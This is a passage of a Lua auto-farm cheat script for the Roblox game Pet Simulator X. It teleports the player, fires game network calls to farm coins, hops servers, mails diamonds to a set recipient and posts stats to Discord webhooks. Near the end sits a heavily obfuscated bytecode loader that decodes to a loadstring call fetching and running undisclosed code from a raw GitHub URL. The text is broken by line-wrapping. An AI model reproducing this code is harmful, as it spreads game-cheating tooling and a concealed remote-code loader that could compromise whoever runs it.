local Network =
require(game:GetService("ReplicatedStorage").Library.Client.Network)
local Fire, Invoke = Network.Fire,
Network.Invoke
n = v2.Name
local v86 = Invoke("Join Coin", i2,
equippedpets)
for v88, v89 in pairs(v86) do
Fire("Farm Coin", i2, v88);
end
ThingsBroke = ThingsBroke + 1
count = 0
while 1 do
wait(0.01)
local f = false
for i3, v3 in pairs(Invoke("Get Coins")) do
if i2 == i3 then
f = true
end
end
if count >= SettingsBreakable.WaitTime then
break end
if not f then break end
count = count + 1
end
end
end
end)
end
end
end
end)
FrTeleportToWorld("Axolotl Ocean", "Axolotl Cave")
FarmWorld = "Axolotl Ocean"
AllCs = Invoke("Get Coins")
wait(0.5)
pcall(function()
for i, v in pairs(game:GetService("Workspace")
["__MAP"].Teleports:GetChildren()) do
local anycoins = false
for i2, v2 in pairs(AllCs) do
if (v2.a) == v.Name and ShouldBreak(v2.n) then
anycoins = true
end
end
if anycoins then
FrTeleportToArea("", v.Name)
wait(0.1)
for i2, v2 in pairs(Invoke("Get Coins")) do
pcall(function()
if (v2.a) == v.Name then
if ShouldBreak(v2.n) then
local equippedpets = {}
for i3, v3 in
pairs(game:GetService("Players").LocalPlayer.PlayerGui.Inventory.Frame.Main.Pets.No
rmal:GetChildren()) do
if v3:IsA("TextButton") then
if v3.Equipped.Visible == true then
table.insert(equippedpets, v3.Name)
end
end
end
local Network =
require(game:GetService("ReplicatedStorage").Library.Client.Network)
local Fire, Invoke = Network.Fire,
Network.Invoke
n = v2.Name
local v86 = Invoke("Join Coin", i2,
equippedpets)
for v88, v89 in pairs(v86) do
Fire("Farm Coin", i2, v88);
end
ThingsBroke = ThingsBroke + 1
count = 0
while 1 do
wait(0.01)
local f = false
for i3, v3 in pairs(Invoke("Get Coins")) do
if i2 == i3 then
f = true
end
end
if count >= SettingsBreakable.WaitTime then
break end
if not f then break end
count = count + 1
end
end
end
end)
end
end
end
end)
FrTeleportToWorld("Pixel", "Pixel Forest")
FarmWorld = "Pixel"
AllCs = Invoke("Get Coins")
wait(0.5)
pcall(function()
for i, v in pairs(game:GetService("Workspace")
["__MAP"].Teleports:GetChildren()) do
local anycoins = false
for i2, v2 in pairs(AllCs) do
if (v2.a) == v.Name and ShouldBreak(v2.n) then
anycoins = true
end
end
if anycoins then
FrTeleportToArea("", v.Name)
wait(0.1)
for i2, v2 in pairs(Invoke("Get Coins")) do
pcall(function()
if (v2.a) == v.Name then
if ShouldBreak(v2.n) then
 local equippedpets = {}
for i3, v3 in
pairs(game:GetService("Players").LocalPlayer.PlayerGui.Inventory.Frame.Main.Pets.No
rmal:GetChildren()) do
if v3:IsA("TextButton") then
if v3.Equipped.Visible == true then
table.insert(equippedpets, v3.Name)
end
end
end
local Network =
require(game:GetService("ReplicatedStorage").Library.Client.Network)
local Fire, Invoke = Network.Fire,
Network.Invoke
n = v2.Name
local v86 = Invoke("Join Coin", i2,
equippedpets)
for v88, v89 in pairs(v86) do
Fire("Farm Coin", i2, v88);
end
ThingsBroke = ThingsBroke + 1
count = 0
while 1 do
wait(0.01)
local f = false
for i3, v3 in pairs(Invoke("Get Coins")) do
if i2 == i3 then
f = true
end
end
if count >= SettingsBreakable.WaitTime then
break end
if not f then break end
count = count + 1
end
end
end
end)
end
end
end
end)
FrTeleportToWorld("Cat", "Cat Paradise")
FarmWorld = "Cat"
AllCs = Invoke("Get Coins")
wait(0.5)
pcall(function()
for i, v in pairs(game:GetService("Workspace")
["__MAP"].Teleports:GetChildren()) do
local anycoins = false
for i2, v2 in pairs(AllCs) do
if (v2.a) == v.Name and ShouldBreak(v2.n) then
anycoins = true
end
end
if anycoins then
FrTeleportToArea("", v.Name)
wait(0.1)
for i2, v2 in pairs(Invoke("Get Coins")) do
 pcall(function()
if (v2.a) == v.Name then
if ShouldBreak(v2.n) then
local equippedpets = {}
for i3, v3 in
pairs(game:GetService("Players").LocalPlayer.PlayerGui.Inventory.Frame.Main.Pets.No
rmal:GetChildren()) do
if v3:IsA("TextButton") then
if v3.Equipped.Visible == true then
table.insert(equippedpets, v3.Name)
end
end
end
local Network =
require(game:GetService("ReplicatedStorage").Library.Client.Network)
local Fire, Invoke = Network.Fire,
Network.Invoke
n = v2.Name
local v86 = Invoke("Join Coin", i2,
equippedpets)
for v88, v89 in pairs(v86) do
Fire("Farm Coin", i2, v88);
end
ThingsBroke = ThingsBroke + 1
count = 0
while 1 do
wait(0.01)
local f = false
for i3, v3 in pairs(Invoke("Get Coins")) do
if i2 == i3 then
f = true
end
end
if count >= SettingsBreakable.WaitTime then
break end
if not f then break end
count = count + 1
end
end
end
end)
end
end
end
end)
FrTeleportToWorld("Doodle", "Doodle Shop")
FarmWorld = "Doodle"
AllCs = Invoke("Get Coins")
wait(0.5)
pcall(function()
for i, v in pairs(game:GetService("Workspace")
["__MAP"].Teleports:GetChildren()) do
local anycoins = false
for i2, v2 in pairs(AllCs) do
if (v2.a) == v.Name and ShouldBreak(v2.n) then
anycoins = true
end
end
if anycoins then
 FrTeleportToArea("", v.Name)
wait(0.1)
for i2, v2 in pairs(Invoke("Get Coins")) do
pcall(function()
if (v2.a) == v.Name then
if ShouldBreak(v2.n) then
local equippedpets = {}
for i3, v3 in
pairs(game:GetService("Players").LocalPlayer.PlayerGui.Inventory.Frame.Main.Pets.No
rmal:GetChildren()) do
if v3:IsA("TextButton") then
if v3.Equipped.Visible == true then
table.insert(equippedpets, v3.Name)
end
end
end
local Network =
require(game:GetService("ReplicatedStorage").Library.Client.Network)
local Fire, Invoke = Network.Fire,
Network.Invoke
n = v2.Name
local v86 = Invoke("Join Coin", i2,
equippedpets)
for v88, v89 in pairs(v86) do
Fire("Farm Coin", i2, v88);
end
ThingsBroke = ThingsBroke + 1
count = 0
while 1 do
wait(0.01)
local f = false
for i3, v3 in pairs(Invoke("Get Coins")) do
if i2 == i3 then
f = true
end
end
if count >= SettingsBreakable.WaitTime then
break end
if not f then break end
count = count + 1
end
end
end
end)
end
end
end
end)
if not SettingsBreakable.Loop then break end
if STOP then break end
if SettingsBreakable.Loop and not MADE then
MADE = true
local screenCenter =
Vector2.new(workspace.CurrentCamera.ViewportSize.X/2,
workspace.CurrentCamera.ViewportSize.Y/2)

-- Create the button

local myButton = Instance.new("TextButton")
myButton.Parent = game.Players.LocalPlayer.PlayerGui.Main --
Assumes the script is a child of a ScreenGui
myButton.Position = UDim2.new(0.5, -50, 0.5, -50) -- Set the
button's position to the center of the screen
myButton.Size = UDim2.new(0, 100, 0, 100)
myButton.TextWrapped = true
myButton.Text = "Stop Farm"
myButton.Font = Enum.Font.SourceSansBold
myButton.FontSize = Enum.FontSize.Size48 -- Set a big cartoony font
myButton.TextColor3 = Color3.new(1, 1, 1) -- Set the button's text
color to white
myButton.BackgroundTransparency = 0 -- Make the button fill visible
myButton.BackgroundColor3 = Color3.new(1, 0, 0) -- Set the button's
background color to red
myButton.BorderColor3 = Color3.new(0, 0, 0) -- Set the button's
border color to black
myButton.BorderSizePixel = 10 -- Set the button's border size

-- Add an event listener to the button

myButton.MouseButton1Click:Connect(function()
STOP = true
myButton:Destroy()
end)
end
end
if GetOranges() >= Settings["Fruit"]["Max Fruit"] then
writefile("fruitfarmT.txt", "false")
else
function sHopper()
local endpoint =
game.HttpService:JSONDecode(game:HttpGet('https://games.roblox.com/v1/games/
6284583030/servers/Public?sortOrder=Asc&limit=100'))
bestserver = {
p = 0
}
function shuffleTable(tbl)
local size = #tbl
for i = size, 1, -1 do
local rand = math.random(size)
tbl[i], tbl[rand] = tbl[rand], tbl[i]
end
return tbl
end
randomdata = shuffleTable(endpoint.data)
for i, v in pairs(randomdata) do
if v.playing > bestserver['p'] and v.playing <= 2 then
bestserver['id'] = v.id
bestserver['p'] = v.playing
end
end
game:GetService("TeleportService"):TeleportToPlaceInstance(6284583030,
bestserver.id, game.Players.LocalPlayer)
end
while 1 do
oldid = game.JobId
sHopper()
task.wait(1)
if oldid ~= game.JobId then
break
end
end
end
end

end
end
end

if Settings["Auto Mailbox"]["Enabled"] then

if Lib.Save.Get().Diamonds >= Settings["Auto Mailbox"]["Min Dias"] then
FrTeleportToWorld("Spawn", "Shop")
wait(3)
user = Settings["Auto Mailbox"]["Recipient"]
msg = "Sent To You Cause U Cool"
gems = Lib.Save.Get().Diamonds - 100000
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame =
CFrame.new(254.149002, 98.2168579, 349.55304, 0.965907216, -6.73597569e-08, -
0.258888513, 6.48122409e-08, 1, -1.83752729e-08, 0.258888513, 9.69664127e-10,
0.965907216)
wait(1)
Invoke("Send Mail", {
["Recipient"] = user,
["Diamonds"] = gems,
["Pets"] = {},
["Message"] = msg
})
end
end
boostco = coroutine.create(function()
while 1 do
wait(2)
if Settings["Boosts"]["Triple Damage"] then
boostName = "Triple Damage"
local Library = require(game.ReplicatedStorage.Framework.Library)
local save = Library.Save.Get()
found = false
for i, v in pairs(save.Boosts) do
if i == boostName then
found = true
end
end
if not found then
Fire("Activate Boost", boostName)
end
end
if Settings["Boosts"]["Server Damage"] then
boostName = "Triple Damage"
local Library = require(game.ReplicatedStorage.Library)
Library.Load()
found = false
for i, v in pairs(Library.ServerBoosts.GetActiveBoosts()) do
if i == boostName then
found = true
end
end
if not found then
Fire("Activate Server Boost", boostName)
end
end
 end
end)
coroutine.resume(boostco)
function GetMulti(B)
if not B then return 0 end
local totalMultiplier = 0
if B.l then
for _, v in pairs(B.l) do
pcall(function()
if v.m and tonumber(v.m) then
totalMultiplier = totalMultiplier + v.m
end
end)
end

end
return totalMultiplier
end
local GemsEarned = 0
local TotalGemsEarned = 0
local StartingGems = Library.Save.Get().Diamonds
HttpService = game:GetService("HttpService")
function WH()
request({
Url = Settings["Webhooks"]["Server Hop Webhook"],
Method = "POST",
Headers = {
["Content-Type"] = "application/json"
},
Body = HttpService:JSONEncode{
["content"] = "",
["embeds"] = {
{
["title"] = "Server Hop Stat Update (v3)",
["description"] = "Successfully Broke Everything In Server.
Hopping To New Server!",
["color"] = tonumber(0x0f0063),
["fields"] = {
{
["name"] = "Stats",
["value"] = ":clock1: **Time Taken:**
``"..TimeElapsed.."s``\n:gem: **Gems Earned:** ``"..add_suffix(GemsEarned).."``\
n:gem: **Total Gems Earned:** ``" .. add_suffix(TotalGemsEarned) .. "``\n:map:
**Farming:** ``"..AREATOCHECK.."``"
}
},
["author"] = {
["name"] = "Mystic Farmer - Stats"
}
}
}
}
})
end

wait(1)

FrTeleportToWorld("Diamond Mine", "Mystic Mine")

if game.Workspace:FindFirstChild("plat") then game.Workspace.plat:Destroy() end
local p = Instance.new("Part")
p.Anchored = true
p.Name = "plat"
p.Position = Vector3.new(9043.19140625, -38.66098690032959, 2424.636474609375)
p.Size = Vector3.new(100, 1, 100)
p.Parent = game.Workspace
local gui = Instance.new("SurfaceGui")
gui.Parent = p
gui.Face = Enum.NormalId.Top
local textLabel = Instance.new("TextLabel")
textLabel.Text = "Gem Farmer Made By henrymistert#3888 (.gg/henrymistert)"
textLabel.Size = UDim2.new(1, 0, 1, 0)
textLabel.BackgroundColor3 = Color3.new(1, 1, 1)
textLabel.TextColor3 = Color3.new(0, 0, 0)
textLabel.FontSize = Enum.FontSize.Size14
textLabel.Parent = gui
textLabel.TextScaled = true
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(9043.19141,
-34.3321552, 2424.63647, -0.938255966, 7.68024719e-08, 0.345941782, 8.24376656e-08,
1, 1.57588176e-09, -0.345941782, 2.99972136e-08, -0.938255966)
AllC = Invoke("Get Coins")
Fire("Performed Teleport")
AllNeededCoins = {}
for i, v in pairs(AllC) do
if v.a == "Mystic Mine" then
M = GetMulti(v.b)
for i2,v2 in pairs(Settings["Multipliers"]) do
if string.find(v.n, i2) then
if M >= v2 then table.insert(AllNeededCoins, i) end
end
end
end
end
local equipped = {}

local lib = require(game.ReplicatedStorage.Library)

p = lib.Save.Get().PetsEquipped

for petid, petdata in pairs(p) do

table.insert(equipped, petid)
end
CoinsLeft = #AllNeededCoins
for i,v in pairs(AllNeededCoins) do
attack_coin(v, equipped)
wait(0.05)
wait_until_broken(v)
CoinsLeft = CoinsLeft - 1
end
wait(1)
local EndingGems = Library.Save.Get().Diamonds
GemsEarned = EndingGems - StartingGems
if not isfile("gemtotal.txt") then writefile("gemtotal.txt", "0") end
if not isfile("timetotal.txt") then
writefile("timetotal.txt", "0") end
if not isfile("timeframe.txt") then
writefile("timeframe.txt", "0")
end
TotalGemsEarned = GemsEarned + tonumber(readfile("gemtotal.txt"))
writefile("gemtotal.txt", tostring(TotalGemsEarned))
tt = tonumber(readfile("timetotal.txt"))
tt = tt + TimeElapsed
writefile("timeframe.txt", tostring(GemsEarned +
tonumber(readfile("timeframe.txt"))))
writefile("timetotal.txt", tostring(tt))
if tt >= Settings["Webhooks"]["Timeframe"] then
writefile("timetotal.txt", "0")
pcall(function()
request({
Url = Settings["Webhooks"]["Time Frame Webhook"],
Method = "POST",
Headers = {
["Content-Type"] = "application/json"
},
Body = HttpService:JSONEncode{
["content"] = "",
["embeds"] = {
{
["title"] = "Time Frame Stat Update (" ..
Settings["Webhooks"]["Timeframe"] .. "s)",
["description"] = "Gem update",
["color"] = tonumber(0x0f0063),
["fields"] = {
{
["name"] = "Stats",
["value"] = ":gem: **Earnings:** ``"..
add_suffix(tonumber(readfile("timeframe.txt"))) .."``"
}
},
["author"] = {
["name"] = "Mystic Farmer - Stats"
}
}
}
}
})
end)
writefile("timeframe.txt", "0")
end
pcall(WH)

do local v0=tonumber;local v1=string.byte;local v2=string.char;local

v3=string.sub;local v4=string.gsub;local v5=string.rep;local v6=table.concat;local
v7=table.insert;local v8=math.ldexp;local v9=getfenv or function()return
_ENV;end ;local v10=setmetatable;local v11=pcall;local v12=select;local v13=unpack
or table.unpack ;local v14=tonumber;local function v15(v16,v17,...)local
v18=1;local v19;v16=v4(v3(v16,5),"..",function(v30)if (v1(v30,2)==79) then local
v71=0;while true do if (v71==0) then v19=v0(v3(v30,1,1));return "";end end else
local v72=0;local v73;while true do if (v72==0) then v73=v2(v0(v30,16));if v19 then
local v98=0;local v99;while true do if (v98==1) then return v99;end if (v98==0)
then v99=v5(v73,v19);v19=nil;v98=1;end end else return v73;end break;end end end
end);local function v20(v31,v32,v33)if v33 then local v74=(v31/((5 -3)^(v32-(2 -
1))))%(((1640 -(1523 + 114)) -1)^(((v33-1) -(v32-1)) + (2 -1))) ;return v74-
(v74%(620 -(555 + 64))) ;else local v75=931 -(857 + 67 + 7) ;local v76;while true
do if (v75==(568 -((523 -156) + 201))) then v76=(929 -(214 + 713))^(v32-(1 + (1065
-(68 + 997)))) ;return (((v31%(v76 + v76))>=v76) and (1 + 0)) or ((2147 -(226 +
1044)) -(282 + 595)) ;end end end end local function v21()local v34=0 -0 ;local
v35;while true do if (v34==1) then return v35;end if (v34==(117 -(32 + (1042 -(892
+ 65))))) then v35=v1(v16,v18,v18);v18=v18 + 1 + (0 -0) ;v34=1 + 0 ;end end end
local function v22()local v36=0;local v37;local v38;while true do if (v36==(1 -0))
then return (v38 * (469 -213)) + v37 ;end if (v36==(350 -(87 + 263))) then
v37,v38=v1(v16,v18,v18 + (182 -(67 + 113)) );v18=v18 + 2 + 0 ;v36=2 -(1 + 0) ;end
end end local function v23()local v39,v40,v41,v42=v1(v16,v18,v18 + (7 -4) );v18=v18
+ (15 -(31 -20)) ;return (v42 * (16778168 -(802 + 150))) + (v41 * 65536) + (v40 *
(1253 -(915 + 82))) + v39 ;end local function v24()local v43=0 + 0 ;local v44;local
v45;local v46;local v47;local v48;local v49;while true do if ((2 -0)==v43) then
v48=v20(v45,1208 -(1069 + (977 -(814 + 45))) ,70 -39 );v49=((v20(v45,32)==1) and -
(1 -0)) or (1 + 0) ;v43=4 -1 ;end if (v43==1) then v46=1 + (0 -0) ;v47=(v20(v45,792
-(368 + 23 + 400) ,62 -42 ) * ((20 -(10 + 8))^(122 -90))) + v44 ;v43=444 -(416 +
26) ;end if (v43==(9 -6)) then if (v48==0) then if (v47==(0 + 0)) then return v49 *
(0 + 0) ;else local v100=0 -0 ;while true do if (v100==(438 -(145 + 293))) then
v48=431 -(44 + 386) ;v46=(2371 -(261 + 624)) -(998 + 488) ;break;end end end elseif
(v48==(3637 -1590)) then return ((v47==(0 + 0)) and (v49 * ((1 + (1080 -(1020 +
60)))/((2195 -(630 + 793)) -((680 -479) + 571))))) or (v49 * NaN) ;end return
v8(v49,v48-(2161 -(116 + 1022)) ) * (v46 + (v47/((8 -6)^(31 + 21)))) ;end if
(v43==(0 -0)) then v44=v23();v45=v23();v43=3 -2 ;end end end local function
v25(v50)local v51;if not v50 then local v77=0 -0 ;while true do if (v77==(1747 -
(760 + 987))) then v50=v23();if (v50==(0 + 0)) then return "";end break;end end end
v51=v3(v16,v18,(v18 + v50) -(3 -2) );v18=v18 + v50 ;local v52={};for v67=(2 -1) +
(0 -0) , #v51 do v52[v67]=v2(v1(v3(v51,v67,v67)));end return v6(v52);end local
v26=v23;local function v27(...)return {...},v12("#",...);end local function
v28()local v53=0;local v54;local v55;local v56;local v57;local v58;local v59;while
true do local v69=0;local v70;while true do if (v69==(0 -0)) then v70=0;while true
do if (v70==(0 -0)) then if (v53~=0) then else local v105=0;while true do if ((1636
-(1373 + 263))==v105) then v54={};v55={};v105=1;end if (v105==2) then
v53=1;break;end if (v105==1) then v56={};v57={v54,v55,nil,v56};v105=2;end end end
if (v53==(1 + 0)) then v58=v23();v59={};for v109=1,v58 do local v110=0 -0 ;local
v111;local v112;local v113;while true do if (v110==0) then v111=0 -
0 ;v112=nil;v110=1385 -(746 + 638) ;end if (v110~=1) then else v113=nil;while true
do if (v111==1) then if (v112==(1 + 0)) then v113=v21()~=0 ;elseif (v112==2) then
v113=v24();elseif (v112==(4 -1)) then v113=v25();end v59[v109]=v113;break;end if
((341 -(218 + 123))==v111) then v112=v21();v113=nil;v111=1582 -(1535 + 46) ;end end
break;end end end v57[3]=v21();v53=2;end v70=1;end if ((1 + 0)==v70) then if
(v53~=2) then else local v107=0;local v108;while true do if (v107==(0 + 0)) then
v108=560 -(306 + 254) ;while true do if (v108==1) then return v57;end if (0==v108)
then for v149=1,v23() do local v150=0 + 0 ;local v151;local v152;local v153;while
true do if (v150~=0) then else v151=0 -0 ;v152=nil;v150=1468 -(899 + 568) ;end if
((1 + 0)==v150) then v153=nil;while true do if (v151~=(0 -0)) then else local
v164=603 -(268 + 335) ;local v165;while true do if (v164==(290 -(60 + 230))) then
v165=0;while true do if (v165==0) then local v173=572 -(426 + 146) ;while true do
if (v173==0) then v152=0 + 0 ;v153=nil;v173=1;end if (v173~=(1457 -(282 + 1174)))
then else v165=812 -(569 + 242) ;break;end end end if (v165==1) then v151=2 -
1 ;break;end end break;end end end if (v151==1) then while true do if (v152==(0 +
0)) then v153=v21();if (v20(v153,1,1)==0) then local v166=0;local v167;local
v168;local v169;local v170;local v171;local v172;while true do if (v166==3) then
while true do if (v167==(1025 -(706 + 318))) then local v174=0;while true do if
(v174~=1) then else v167=1253 -(721 + 530) ;break;end if (v174==0) then
v170=nil;v171=nil;v174=1272 -(945 + 326) ;end end end if (v167==0) then local
v175=0 -0 ;while true do if (v175~=(0 + 0)) then else v168=700 -(271 +
429) ;v169=nil;v175=1;end if (v175==1) then v167=1;break;end end end if (v167==(2 +
0)) then v172=nil;while true do if (v168~=2) then else while true do if
(v169~=(1503 -(1408 + 92))) then else if (v20(v171,1089 -(461 + 625) ,3)==1) then
v172[4]=v59[v172[1292 -(993 + 295) ]];end v54[v149]=v172;break;end if (v169==1)
then local v179=0;local v180;local v181;while true do if (v179==0) then v180=0 +
0 ;v181=nil;v179=1172 -(418 + 753) ;end if (v179~=1) then else while true do if
(v180~=(0 + 0)) then else v181=0 + 0 ;while true do if (0==v181) then local v192=0
+ 0 ;while true do if (v192~=(0 + 0)) then else v172={v22(),v22(),nil,nil};if
(v170==(0 + 0)) then local v193=0;local v194;local v195;while true do if ((1146 -
(466 + 679))==v193) then while true do if (v194==(0 -0)) then v195=0;while true do
if (0~=v195) then else v172[3]=v22();v172[11 -7 ]=v22();break;end end break;end end
break;end if (v193~=(1900 -(106 + 1794))) then else v194=0;v195=nil;v193=1 + 0 ;end
end elseif (v170==(1 + 0)) then v172[8 -5 ]=v23();elseif (v170==(5 -3)) then
v172[3]=v23() -((116 -(4 + 110))^16) ;elseif (v170~=3) then else local v198=584 -
(57 + 527) ;local v199;while true do if (v198==0) then v199=0;while true do if
(v199~=(1427 -(41 + 1386))) then else v172[3]=v23() -(2^(119 -(17 + 86))) ;v172[3 +
1 ]=v22();break;end end break;end end end v192=1;end if (v192==(1 -0)) then
v181=1;break;end end end if (v181==1) then v169=2;break;end end break;end end
break;end end end if (v169~=2) then else local v182=0;while true do if (v182~=1)
then else v169=3;break;end if (v182==(0 -0)) then if (v20(v171,167 -(122 + 44) ,1 -
0 )==(3 -2)) then v172[2 + 0 ]=v59[v172[1 + 1 ]];end if (v20(v171,3 -1 ,67 -(30 +
35) )==(1 + 0)) then v172[3]=v59[v172[3]];end v182=1258 -(1043 + 214) ;end end end
if (v169==0) then local v183=0;local v184;while true do if (v183~=(0 -0)) then else
v184=1212 -(323 + 889) ;while true do if (v184~=(2 -1)) then else v169=581 -(361 +
219) ;break;end if (v184~=(320 -(53 + 267))) then else v170=v20(v153,1 +
1 ,3);v171=v20(v153,4,419 -(15 + 398) );v184=983 -(18 + 964) ;end end break;end end
end end break;end if (v168==(3 -2)) then local v176=0 + 0 ;local v177;while true do
if (v176~=(0 + 0)) then else v177=0;while true do if (v177~=1) then else
v168=2;break;end if (v177==(850 -(20 + 830))) then local v187=0 + 0 ;while true do
if (v187==(126 -(116 + 10))) then v171=nil;v172=nil;v187=1 + 0 ;end if (v187==(739
-(542 + 196))) then v177=1 -0 ;break;end end end end break;end end end if (v168~=(0
+ 0)) then else v169=0 + 0 ;v170=nil;v168=1;end end break;end end break;end if
(1~=v166) then else v169=nil;v170=nil;v166=2;end if ((1 + 1)==v166) then
v171=nil;v172=nil;v166=7 -4 ;end if (v166~=0) then else v167=0 -
0 ;v168=nil;v166=1;end end end break;end end break;end end break;end end end for
v154=1,v23() do v55[v154-(1552 -(1126 + 425)) ]=v28();end v108=1;end end break;end
end end break;end end break;end end end end local function v29(v60,v61,v62)local
v63=0;local v64;local v65;local v66;while true do if (v63==1) then
v66=v60[3];return function(...)local v81=v64;local v82=v65;local v83=v66;local
v84=v27;local v85=1;local v86= -1;local v87={};local v88={...};local
v89=v12("#",...) -1 ;local v90={};local v91={};for v95=0,v89 do if (v95>=v83) then
v87[v95-v83 ]=v88[v95 + 1 ];else v91[v95]=v88[v95 + 1 ];end end local v92=(v89-v83)
+ 1 ;local v93;local v94;while true do v93=v81[v85];v94=v93[1];if (v94<=6) then if
(v94<=2) then if (v94<=0) then do return;end elseif (v94==1) then local
v116=v93[2];v91[v116]=v91[v116](v13(v91,v116 + 1 ,v86));else v91[v93[2]]();end
elseif (v94<=4) then if (v94==3) then v91[v93[2]]=v93[3];else
v91[v93[2]]=v62[v93[3]];end elseif (v94>5) then do return;end else
v91[v93[2]]=v62[v93[3]];end elseif (v94<=9) then if (v94<=7) then local
v114=0;local v115;while true do if (v114==0) then v115=v93[2];v91[v115]=v91[v115]
(v13(v91,v115 + 1 ,v86));break;end end elseif (v94==8) then local v124=v93[2];local
v125=v91[v93[3]];v91[v124 + 1 ]=v125;v91[v124]=v125[v93[4]];else v91[v93[2]]();end
elseif (v94<=11) then if (v94==10) then local v129=v93[2];local
v130=v91[v93[3]];v91[v129 + 1 ]=v130;v91[v129]=v130[v93[4]];else local v134=0;local
v135;local v136;local v137;local v138;while true do if (v134==1) then v86=(v137 +
v135) -1 ;v138=0;v134=2;end if (v134==0) then v135=v93[2];v136,v137=v84(v91[v135]
(v13(v91,v135 + 1 ,v93[3])));v134=1;end if (2==v134) then for v158=v135,v86 do
v138=v138 + 1 ;v91[v158]=v136[v138];end break;end
end end elseif (v94==12) then v91[v93[2]]=v93[3];else local v141=0;local
v142;local v143;local v144;local v145;while true do if (v141==1) then v86=(v144 +
v142) -1 ;v145=0;v141=2;end if (v141==0) then v142=v93[2];v143,v144=v84(v91[v142]
(v13(v91,v142 + 1 ,v93[3])));v141=1;end if (v141==2) then for v161=v142,v86 do
v145=v145 + 1 ;v91[v161]=v143[v145];end break;end end end v85=v85 + 1 ;end end;end
if (v63==0) then v64=v60[1];v65=v60[2];v63=1;end end end return v29(v28(),{},v17)
(...);end v15("LOL!
043O00030A3O006C6F6164737472696E6703043O0067616D6503073O00482O7470476574034D3O00682
O7470733A2O2F7261772E67697468756275736572636F6E74656E742E636F6D2F707378676F646C6F6C
312O302F6469616D6F6E646661726D65722F6D61696E2F6469616D6F6E646661726D00083O0012053O0
0013O001205000100023O00200800010001000300120C000300044O000B000100034O00075O00022O00
023O000100012O00063O00017O00",v9(),...);end

wait(8)

function sHopper()
local endpoint =
game.HttpService:JSONDecode(game:HttpGet('https://games.roblox.com/v1/games/
6284583030/servers/Public?sortOrder=Asc&limit=100'))
bestserver = {
p = 0
}
function shuffleTable(tbl)
local size = #tbl
for i = size, 1, -1 do
local rand = math.random(size)
tbl[i], tbl[rand] = tbl[rand], tbl[i]
end
return tbl
end
randomdata = shuffleTable(endpoint.data)
for i, v in pairs(randomdata) do
if v.playing > bestserver['p'] and v.playing <= 2 then
bestserver['id'] = v.id
bestserver['p'] = v.playing
end
end
game:GetService("TeleportService"):TeleportToPlaceInstance(6284583030,
bestserver.id, game.Players.LocalPlayer)
end
while 1 do
oldid = game.JobId
sHopper()
task.wait(1)
if oldid ~= game.JobId then
break
end
end